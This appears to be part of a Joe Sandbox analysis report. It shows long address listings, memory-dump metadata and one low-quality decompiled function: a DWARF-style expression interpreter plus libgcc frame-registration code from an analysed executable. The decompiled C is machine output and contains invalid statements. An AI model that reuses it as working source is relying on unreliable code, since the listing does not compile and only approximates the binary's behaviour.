0x00421c48
0x00421c4c
0x00421c4f
0x00000000
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c63
0x00421c67
0x00421c74
0x00421c74
0x00421c76
0x00000000
0x00421c7c
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421c82
0x00421c69
0x00421c69
0x00421c6e
0x00421fa0
0x00421fa0
0x00421fa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00000000
0x00421e40
0x00421e42
0x00421e42
0x00421e44
0x00421e44
0x00421e47
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e57
0x00421e5b
0x00421e5d
0x00421e5d
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6c
0x00421e6e
0x00421e71
0x00421e73
0x00421e73
0x00421e77
0x00421e7a
0x00421e7c
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e84
0x00421e87
0x00000000
0x00421e8d
0x00421e8d
0x00421e91
0x00421e98
0x00421e9b
0x00421e9f
0x00421ea8
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00000000
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b4a
0x00421b50
0x00421b51
0x00421b52
0x00421b53
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00421cd1

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a40f87ff7f4c0bc23e44e8f2a00fee0afc1bea0e0285a8ce32010ef13c32d10e
Instruction ID: a37c787b4fb4a067b4659dfe550d6b5ef11c0659aae9f528ae3370953a2e6585
Opcode Fuzzy Hash: a40f87ff7f4c0bc23e44e8f2a00fee0afc1bea0e0285a8ce32010ef13c32d10e
Instruction Fuzzy Hash: C7018932A086710BD7306A299400337B3E16FA1358FDA496BDE5667302D9BCBC09978D

Uniqueness

Uniqueness Score: -1.00%

Function 00421B10 Relevance: 21.0, APIs: 14, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E00421B10(void* __esi, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t188;
				struct HINSTANCE__* _t191;
				_Unknown_base(*)()* _t192;
				CHAR* _t194;
				struct HINSTANCE__* _t196;
				intOrPtr _t197;
				void* _t201;
				_Unknown_base(*)()* _t202;
				signed int _t204;
				void* _t207;
				char** _t208;
				char** _t209;
				struct HINSTANCE__** _t211;
				struct HINSTANCE__** _t212;

				L0:
				while(1) {
					L0:
					_t204 = _a20;
					_t197 =  *((intOrPtr*)(__esi + 1));
					_t201 = __esi + 5;
					while(1) {
						L9:
						if(__ebp > 0x3f) {
							break;
						}
						L10:
						__eax =  &_a1;
						 *(__esp + 0x30 + __ebp * 4) = __edi;
						_a20 =  &_a1;
						while(1) {
							L11:
							if(_a24 <= __esi) {
								break;
							}
							L7:
							__eax =  *__esi & 0x000000ff;
							__ecx = __eax - 3;
							if(__cl > 0xee) {
								L96:
								abort();
								goto L97;
							} else {
								L8:
								__ecx = __cl & 0x000000ff;
								switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
									case 0:
										goto L0;
									case 1:
										goto L96;
									case 2:
										L21:
										__eax = _a20;
										__eflags = __eax;
										if(__eax == 0) {
											goto L129;
										} else {
											L22:
											__ebp = __eax;
											__ebp =  &_v1;
											__edi =  *(__esp + 0x30 + __ebp * 4);
											__eflags = __dl - 0x1f;
											if(__eflags == 0) {
												L110:
												__edi =  ~__edi;
												__esi = __ebx;
											} else {
												L23:
												if(__eflags <= 0) {
													L97:
													__eflags = __dl - 6;
													if(__dl != 6) {
														L99:
														__eflags = __dl - 0x19;
														if(__dl != 0x19) {
															goto L96;
														} else {
															L100:
															__eax = __edi;
															__esi = __ebx;
															__eax = __edi >> 0x1f;
															__edi = __edi ^ __eax;
															__edi = __edi - __eax;
														}
													} else {
														L98:
														__edi =  *__edi;
														__esi = __ebx;
													}
												} else {
													L24:
													__eflags = __dl - 0x23;
													if(__dl == 0x23) {
														L102:
														__esi = 0;
														__ecx = 0;
														__eflags = 0;
														do {
															L103:
															__ebx = __ebx + 1;
															__edx =  *(__ebx - 1) & 0x000000ff;
															 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
															__eax = ( *(__ebx - 1) & 0x7f) << __cl;
															__ecx = __ecx + 7;
															__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
															__eflags = __dl;
														} while (__dl < 0);
														__edi = __edi + __esi;
														__esi = __ebx;
													} else {
														L25:
														__eflags = __dl - 0x94;
														if(__dl != 0x94) {
															L95:
															__eflags = __dl - 0x20;
															if(__dl == 0x20) {
																L109:
																__edi =  !__edi;
																__esi = __ebx;
															} else {
																goto L96;
															}
														} else {
															L26:
															__eax =  *(__esi + 1) & 0x000000ff;
															__edx = __esi + 2;
															__eflags = __al - 2;
															if(__eflags == 0) {
																L128:
																__edi =  *__edi & 0x0000ffff;
																__esi = __edx;
															} else {
																L27:
																if(__eflags <= 0) {
																	L107:
																	__eflags = __al - 1;
																	if(__al != 1) {
																		goto L96;
																	} else {
																		L108:
																		__edi =  *__edi & 0x000000ff;
																		__esi = __edx;
																	}
																} else {
																	L28:
																	__eflags = __al - 4;
																	if(__al == 4) {
																		L30:
																		__edi =  *__edi;
																		__esi = __edx;
																	} else {
																		L29:
																		__eflags = __al - 8;
																		if(__al != 8) {
																			goto L96;
																		} else {
																			goto L30;
																		}
																	}
																}
															}
														}
													}
												}
											}
											goto L9;
										}
										goto L142;
									case 3:
										L20:
										__edi =  *(__esi + 1) & 0x000000ff;
										__ebp = _a20;
										__esi = __esi + 2;
										goto L9;
									case 4:
										L19:
										__edi =  *(__esi + 1);
										__ebp = _a20;
										__esi = __esi + 2;
										goto L9;
									case 5:
										L18:
										__edi =  *(__esi + 1) & 0x0000ffff;
										__ebp = _a20;
										__esi = __esi + 3;
										goto L9;
									case 6:
										L17:
										__edi =  *(__esi + 1);
										__ebp = _a20;
										__esi = __esi + 3;
										goto L9;
									case 7:
										L15:
										__edi =  *(__esi + 1);
										__ebp = _a20;
										__esi = __esi + 9;
										goto L9;
									case 8:
										L67:
										__esi = __ebx;
										__edi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											L68:
											__esi = __esi + 1;
											__edx =  *(__esi - 1) & 0x000000ff;
											 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
											__eax = ( *(__esi - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__ebp = _a20;
										goto L9;
									case 9:
										L62:
										__edi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											L63:
											__ebx = __ebx + 1;
											__edx =  *(__ebx - 1) & 0x000000ff;
											__edx = __edx & 0x0000007f;
											__eax = (__edx & 0x0000007f) << __cl;
											__ecx = __ecx + 7;
											__edi = __edi | (__edx & 0x0000007f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__eflags = __ecx - 0x1f;
										if(__ecx > 0x1f) {
											goto L94;
										} else {
											L65:
											__edx = __edx & 0x00000040;
											__eflags = __edx;
											if(__edx == 0) {
												goto L94;
											} else {
												L66:
												__eax = 1;
												__ebp = _a20;
												__esi = __ebx;
												1 << __cl =  ~(1 << __cl);
												__edi = __edi |  ~(1 << __cl);
											}
										}
										goto L9;
									case 0xa:
										L60:
										__ebp = _a20;
										__eflags = __ebp;
										if(__ebp == 0) {
											goto L129;
										} else {
											L61:
											__edi =  *(__esp + 0x2c + __ebp * 4);
											__esi = __ebx;
											goto L9;
										}
										goto L142;
									case 0xb:
										L58:
										__eax = _a20;
										__eflags = __eax;
										if(__eax == 0) {
											goto L129;
										} else {
											L59:
											__eax = __eax - 1;
											__esi = __ebx;
											_a20 = __eax;
											goto L11;
										}
										goto L142;
									case 0xc:
										L56:
										__ebp = _a20;
										__eflags = __ebp - 1;
										if(__ebp <= 1) {
											goto L129;
										} else {
											L57:
											__edi =  *(__esp + 0x28 + __ebp * 4);
											__esi = __ebx;
											goto L9;
										}
										goto L142;
									case 0xd:
										L54:
										__ebp = _a20;
										__ecx =  *(__esi + 1) & 0x000000ff;
										__edx = __esi + 2;
										__eax =  &_v1;
										__eflags = __ecx - __eax;
										if(__ecx >= __eax) {
											goto L129;
										} else {
											L55:
											__eax = __eax - __ecx;
											__esi = __edx;
											__edi =  *(__esp + 0x30 + __eax * 4);
											goto L9;
										}
										goto L142;
									case 0xe:
										L89:
										__eax = _a20;
										__eflags = __eax - 1;
										if(__eax <= 1) {
											goto L129;
										} else {
											L90:
											__edx = __eax - 1;
											__eax = __eax - 2;
											__esi =  *(__esp + 0x30 + __eax * 4);
											__ecx =  *(__esp + 0x30 + __edx * 4);
											 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
											__esi = __ebx;
											 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
											goto L11;
										}
										goto L142;
									case 0xf:
										L87:
										__eax = _a20;
										__eflags = __eax - 2;
										if(__eax <= 2) {
											goto L129;
										} else {
											L88:
											__ecx = __eax - 1;
											__edx = __eax - 2;
											__eax = __eax - 3;
											__esi =  *(__esp + 0x30 + __ecx * 4);
											__ebp =  *(__esp + 0x30 + __edx * 4);
											__edi =  *(__esp + 0x30 + __eax * 4);
											 *(__esp + 0x30 + __ecx * 4) = __ebp;
											 *(__esp + 0x30 + __edx * 4) = __edi;
											 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
											__esi = __ebx;
											goto L11;
										}
										goto L142;
									case 0x10:
										L91:
										__eax = _a20;
										__eflags = __eax - 1;
										if(__eax <= 1) {
											goto L129;
										} else {
											L92:
											__ebp = __eax - 2;
											__edx = __edx - 0x1a;
											__ecx =  *(__esp + 0x2c + __eax * 4);
											__edi =  *(__esp + 0x30 + __ebp * 4);
											__eflags = __dl - 0x14;
											if(__dl > 0x14) {
												goto L96;
											} else {
												L93:
												__edx = __dl & 0x000000ff;
												switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
													case 0:
														goto L111;
													case 1:
														goto L112;
													case 2:
														goto L113;
													case 3:
														goto L114;
													case 4:
														goto L115;
													case 5:
														goto L96;
													case 6:
														goto L116;
													case 7:
														goto L117;
													case 8:
														goto L118;
													case 9:
														goto L119;
													case 0xa:
														goto L120;
													case 0xb:
														goto L121;
													case 0xc:
														goto L122;
													case 0xd:
														goto L123;
													case 0xe:
														goto L124;
													case 0xf:
														goto L125;
													case 0x10:
														goto L126;
													case 0x11:
														goto L127;
												}
											}
											goto L9;
										}
										goto L142;
									case 0x11:
										L82:
										__eax = _a20;
										__eflags = __eax;
										if(__eax == 0) {
											goto L129;
										} else {
											L83:
											__eax = __eax - 1;
											__edi = __eax;
											_a20 = __eax;
											__eax = __esi + 3;
											__edx =  *(__esp + 0x30 + __edi * 4);
											__eflags =  *(__esp + 0x30 + __edi * 4);
											if( *(__esp + 0x30 + __edi * 4) == 0) {
												__esi = __eax;
											} else {
												__esi =  *(__esi + 1);
												__esi = __esi + __eax;
											}
											goto L11;
										}
										goto L142;
									case 0x12:
										L86:
										__eax =  *(__esi + 1);
										__esi = __esi +  *(__esi + 1) + 3;
										goto L11;
									case 0x13:
										L85:
										__edi = __eax - 0x30;
										__ebp = _a20;
										__esi = __ebx;
										goto L9;
									case 0x14:
										L49:
										__eax = __eax - 0x50;
										__eflags = __eax - 0x11;
										if(__eax > 0x11) {
											goto L129;
										} else {
											L50:
											__esi = _a28;
											__edx =  *(__eax + 0x6073f4) & 0x000000ff;
											__edi =  *(__esi + __eax * 4);
											__eflags =  *(__esi + 0x63) & 0x00000040;
											if(( *(__esi + 0x63) & 0x00000040) == 0) {
												L52:
												__eflags = __dl - 4;
												if(__dl == 4) {
													goto L38;
												} else {
													L53:
													goto L129;
												}
											} else {
												L51:
												__eflags =  *((char*)(__esi + __eax + 0x6c));
												if( *((char*)(__esi + __eax + 0x6c)) != 0) {
													goto L94;
												} else {
													goto L52;
												}
											}
										}
										goto L142;
									case 0x15:
										L39:
										__ebp = 0;
										__ecx = 0;
										__eflags = 0;
										__esi = __eax;
										do {
											L40:
											__ebx = __ebx + 1;
											__eax =  *(__ebx - 1) & 0x000000ff;
											__eax = __eax & 0x0000007f;
											__edx = (__eax & 0x0000007f) << __cl;
											__ecx = __ecx + 7;
											__ebp = __ebp | (__eax & 0x0000007f) << __cl;
											__eflags = __al;
										} while (__al < 0);
										__edi = __eax;
										__eax = __esi;
										__esi = __edi;
										__eflags = __ecx - 0x1f;
										if(__ecx <= 0x1f) {
											__esi = __esi & 0x00000040;
											__eflags = __esi;
											if(__esi != 0) {
												1 = 1 << __cl;
												__edx =  ~(1 << __cl);
												__ebp = __ebp |  ~(1 << __cl);
											}
										}
										__eax = __eax - 0x70;
										__eflags = __eax - 0x11;
										if(__eax > 0x11) {
											goto L129;
										} else {
											L44:
											__esi = _a28;
											__edx =  *(__eax + 0x6073f4) & 0x000000ff;
											__edi =  *(__esi + __eax * 4);
											__eflags =  *(__esi + 0x63) & 0x00000040;
											if(( *(__esi + 0x63) & 0x00000040) == 0) {
												L46:
												__eflags = __dl - 4;
												if(__dl != 4) {
													goto L129;
												} else {
													L47:
													__edi =  *__edi;
													goto L48;
												}
											} else {
												L45:
												__eflags =  *((char*)(__esi + __eax + 0x6c));
												if( *((char*)(__esi + __eax + 0x6c)) != 0) {
													L48:
													__edi = __edi + __ebp;
													__esi = __ebx;
													__ebp = _a20;
													goto L9;
												} else {
													goto L46;
												}
											}
										}
										goto L142;
									case 0x16:
										L32:
										__esi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											L33:
											__ebx = __ebx + 1;
											__edx =  *(__ebx - 1) & 0x000000ff;
											 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
											__eax = ( *(__ebx - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__eflags = __esi - 0x11;
										if(__esi > 0x11) {
											goto L129;
										} else {
											L35:
											__ecx = _a28;
											__eax =  *(__esi + 0x6073f4) & 0x000000ff;
											__edi =  *(__ecx + __esi * 4);
											__eflags =  *(__ecx + 0x63) & 0x00000040;
											if(( *(__ecx + 0x63) & 0x00000040) == 0) {
												L37:
												__eflags = __al - 4;
												if(__al != 4) {
													goto L129;
												} else {
													L38:
													__edi =  *__edi;
													__ebp = _a20;
													__esi = __ebx;
													goto L9;
												}
											} else {
												L36:
												__eflags =  *((char*)(__ecx + __esi + 0x6c));
												if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
													L94:
													__ebp = _a20;
													__esi = __ebx;
													goto L9;
												} else {
													goto L37;
												}
											}
										}
										goto L142;
									case 0x17:
										L70:
										__esi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											L71:
											__ebx = __ebx + 1;
											__edx =  *(__ebx - 1) & 0x000000ff;
											 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
											__eax = ( *(__ebx - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__edi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											L73:
											__ebx = __ebx + 1;
											__eax =  *(__ebx - 1) & 0x000000ff;
											 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
											__edx = ( *(__ebx - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
											__eflags = __al;
										} while (__al < 0);
										__eflags = __ecx - 0x1f;
										if(__ecx <= 0x1f) {
											__eflags = __al & 0x00000040;
											if((__al & 0x00000040) != 0) {
												1 = 1 << __cl;
												__eax =  ~(1 << __cl);
												__edi = __edi |  ~(1 << __cl);
											}
										}
										__eflags = __esi - 0x11;
										if(__esi > 0x11) {
											goto L129;
										} else {
											L77:
											__ecx = _a28;
											__edx =  *(__esi + 0x6073f4) & 0x000000ff;
											__eax =  *(__ecx + __esi * 4);
											__eflags =  *(__ecx + 0x63) & 0x00000040;
											if(( *(__ecx + 0x63) & 0x00000040) == 0) {
												L79:
												__eflags = __dl - 4;
												if(__dl != 4) {
													goto L129;
												} else {
													L80:
													__eax =  *__eax;
													goto L81;
												}
											} else {
												L78:
												__eflags =  *((char*)(__ecx + __esi + 0x6c));
												if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
													L81:
													__edi = __edi + __eax;
													__ebp = _a20;
													__esi = __ebx;
													goto L9;
												} else {
													goto L79;
												}
											}
										}
										goto L142;
									case 0x18:
										L16:
										__esi = __ebx;
										goto L11;
									case 0x19:
										L31:
										__ebx =  *(__esi + 1) & 0x000000ff;
										__edx = _a28;
										__edi =  &_a44;
										__eax = __ebx;
										__eax = L00420C00(__ebx, __ecx, _a28);
										 *__esp =  &_a44;
										__ecx = __esi + 2;
										__edx = __eax;
										__eax = __ebx;
										__eax = E00420AC0(__ebx, __esi + 2, __edx);
										__edi = _a44;
										__ebp = _a20;
										__esi = __eax;
										goto L9;
									case 0x1a:
										L111:
										__edi = __edi & __ecx;
										__esi = __ebx;
										goto L9;
									case 0x1b:
										L112:
										__eax = __edi;
										__esi = __ebx;
										asm("cdq");
										_t169 = __eax % __ecx;
										__eax = __eax / __ecx;
										__edx = _t169;
										__edi = __eax;
										goto L9;
									case 0x1c:
										L113:
										__edi = __edi - __ecx;
										__esi = __ebx;
										goto L9;
									case 0x1d:
										L114:
										__eax = __edi;
										__edx = 0;
										__esi = __ebx;
										_t173 = __eax % __ecx;
										__eax = __eax / __ecx;
										__edx = _t173;
										__edi = _t173;
										goto L9;
									case 0x1e:
										L115:
										__edi = __edi * __ecx;
										__esi = __ebx;
										goto L9;
									case 0x1f:
										L116:
										__edi = __edi | __ecx;
										__esi = __ebx;
										goto L9;
									case 0x20:
										L117:
										__edi = __edi + __ecx;
										__esi = __ebx;
										goto L9;
									case 0x21:
										L118:
										__edi = __edi << __cl;
										__esi = __ebx;
										goto L9;
									case 0x22:
										L119:
										__edi = __edi >> __cl;
										__esi = __ebx;
										goto L9;
									case 0x23:
										L120:
										__edi = __edi >> __cl;
										__esi = __ebx;
										goto L9;
									case 0x24:
										L121:
										__edi = __edi ^ __ecx;
										__esi = __ebx;
										goto L9;
									case 0x25:
										L122:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags == 0x00000000;
										__edi = __eflags == 0;
										goto L9;
									case 0x26:
										L123:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags >= 0x00000000;
										__edi = __eflags >= 0;
										goto L9;
									case 0x27:
										L124:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags > 0x00000000;
										__edi = __eflags > 0;
										goto L9;
									case 0x28:
										L125:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags <= 0x00000000;
										__edi = __eflags <= 0;
										goto L9;
									case 0x29:
										L126:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags < 0x00000000;
										__edi = __eflags < 0;
										goto L9;
									case 0x2a:
										L127:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags != 0x00000000;
										__edi = __eflags != 0;
										goto L9;
								}
							}
							L142:
						}
						L12:
						__eax = _a20;
						if(__eax == 0) {
							break;
						} else {
							L13:
							__eax =  *(__esp + 0x2c + __eax * 4);
							__esp = __esp + 0x13c;
							_pop(__esi);
							_pop(__edi);
							_pop(__ebp);
							return __eax;
						}
						goto L142;
					}
					L129:
					abort();
					L0042F4C0();
					abort();
					L132:
					abort();
					L133:
					abort();
					L134:
					L0042F4C0();
					L0042F4C0();
					L135:
					abort();
					L136:
					abort();
					L137:
					abort();
					L138:
					abort();
					L139:
					abort();
					L140:
					abort();
					L141:
					abort();
					L1:
					_push(_t204);
					_push(_t197);
					_push(_t201);
					_t208 = _t207 - 0x1c;
					 *_t208 = "libgcc_s_dw2-1.dll";
					_t188 = GetModuleHandleA(_t194);
					_t209 = _t208 - 4;
					if(_t188 == 0) {
						 *0x4b6004 = 0x424590;
						_t202 = E00424340;
					} else {
						_t196 = _t188;
						 *_t209 = "libgcc_s_dw2-1.dll";
						_t191 = LoadLibraryA(??);
						_t211 = _t209 - 4;
						 *0x607df0 = _t191;
						_v40 = "__register_frame_info";
						 *_t211 = _t196;
						_t192 = GetProcAddress(??, ??);
						_t212 = _t211 - 8;
						_t202 = _t192;
						_v40 = "__deregister_frame_info";
						 *_t212 = _t196;
						 *0x4b6004 = GetProcAddress(??, ??);
						_t209 = _t212 - 8;
					}
					if(_t202 != 0) {
						_v40 = 0x60701c;
						 *_t209 = 0x5ca0f8;
						 *_t202();
					}
					 *_t209 = 0x401590;
					return E004014C0();
				}
			}

0x00421b10
0x00421b10
0x00421b10
0x00421b10
0x00421b14
0x00421b17
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00000000
0x00421b29
0x00421b29
0x00421b2c
0x00421b30
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af0
0x00421af6
0x00421afe
0x00421fb9
0x00421fb9
0x00000000
0x00421b04
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ba0
0x00421ba0
0x00421ba4
0x00421ba6
0x00000000
0x00421bac
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb0
0x00421fb3
0x00422050
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00421be5
0x00422034
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bef
0x00421bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421bf1
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x00000000
0x00000000
0x00421b90
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00421d90
0x00421d90
0x00421d94
0x00421d96
0x00000000
0x00421d9c
0x00421d9c
0x00421d9c
0x00421d9f
0x00421da1
0x00000000
0x00421da1
0x00000000
0x00000000
0x00421d73
0x00421d73
0x00421d77
0x00421d7a
0x00000000
0x00421d80
0x00421d80
0x00421d80
0x00421d84
0x00000000
0x00421d84
0x00000000
0x00000000
0x00421d50
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d5e
0x00421d60
0x00000000
0x00421d66
0x00421d66
0x00421d66
0x00421d68
0x00421d6a
0x00000000
0x00421d6a
0x00000000
0x00000000
0x00421f45
0x00421f45
0x00421f49
0x00421f4c
0x00000000
0x00421f52
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00000000
0x00421f66
0x00000000
0x00000000
0x00421f10
0x00421f10
0x00421f14
0x00421f17
0x00000000
0x00421f1d
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00000000
0x00421f3e
0x00000000
0x00000000
0x00421f70
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
